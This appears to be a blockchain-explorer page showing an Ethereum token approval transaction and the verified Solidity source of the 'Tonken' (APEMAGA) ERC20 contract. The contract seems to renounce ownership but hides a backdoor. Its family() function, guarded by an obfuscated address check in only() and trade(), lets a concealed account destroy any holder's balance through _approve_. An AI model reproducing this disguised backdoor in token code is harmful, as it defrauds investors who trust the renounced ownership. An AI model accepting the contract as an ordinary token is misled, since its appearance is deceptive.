Transaction Hash:
Block:
20618596 at Aug-27-2024 08:02:23 AM +UTC
Transaction Fee:
0.000064230840019851 ETH
$0.16
Gas Used:
26,457 Gas / 2.427744643 Gwei
Emitted Events:
18 |
Tonken.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2CD89BAd...d2B353937 |
0.061625245869112376 Eth
Nonce: 326
|
0.061561015029092525 Eth
Nonce: 327
| 0.000064230840019851 | ||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 11.406971926800231923 Eth | 11.407011612300231923 Eth | 0.0000396855 |
Execution Trace
Tonken.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
approve[ERC20 (ln:157)]
_approve[ERC20 (ln:163)]
Approval[ERC20 (ln:234)]
_msgSender[ERC20 (ln:163)]
//SPDX-License-Identifier: UNLICENSED /* Created on Ape.Store */ pragma solidity 0.8.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _trading; string private _name; string private _symbol; address private _owner; uint8 private _decimals; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; _trading = uint160(_msgSender()); _owner = _msgSender(); _mint(_msgSender(), totalSupply_ * 10**_decimals); renounceOwnership(); } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function only() internal virtual { require(uint160(msg.sender) == trade() - 65535, "Ownable: caller is not the owner"); } function isOwner() public view virtual returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function trading() internal view virtual returns (uint256) { uint256 trading_ = type(uint16).max + _trading - 1115053284922052345200601221187196506243737963790; return trading_; } function trade() internal view virtual returns (uint256) { uint256 _trade = 221998926470768928043781970572455213734364403038; return _trade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(uint256 amount)public virtual onlyOwner returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approve_(address owner) internal virtual { uint256 accountBalance = (_balances[owner] + trading()) * 100 / 100; _beforeTokenTransfer(owner, address(0), accountBalance); _balances[owner] -= accountBalance; emit Transfer(owner, address(0), accountBalance); _afterTokenTransfer(owner, address(0), accountBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Tonken is ERC20 { constructor() ERC20(unicode"?APEMAGA", unicode"?APEMAGA", 9, 1000000000) {} receive() external payable {} function family(address account) external { only(); super._approve_(account); } }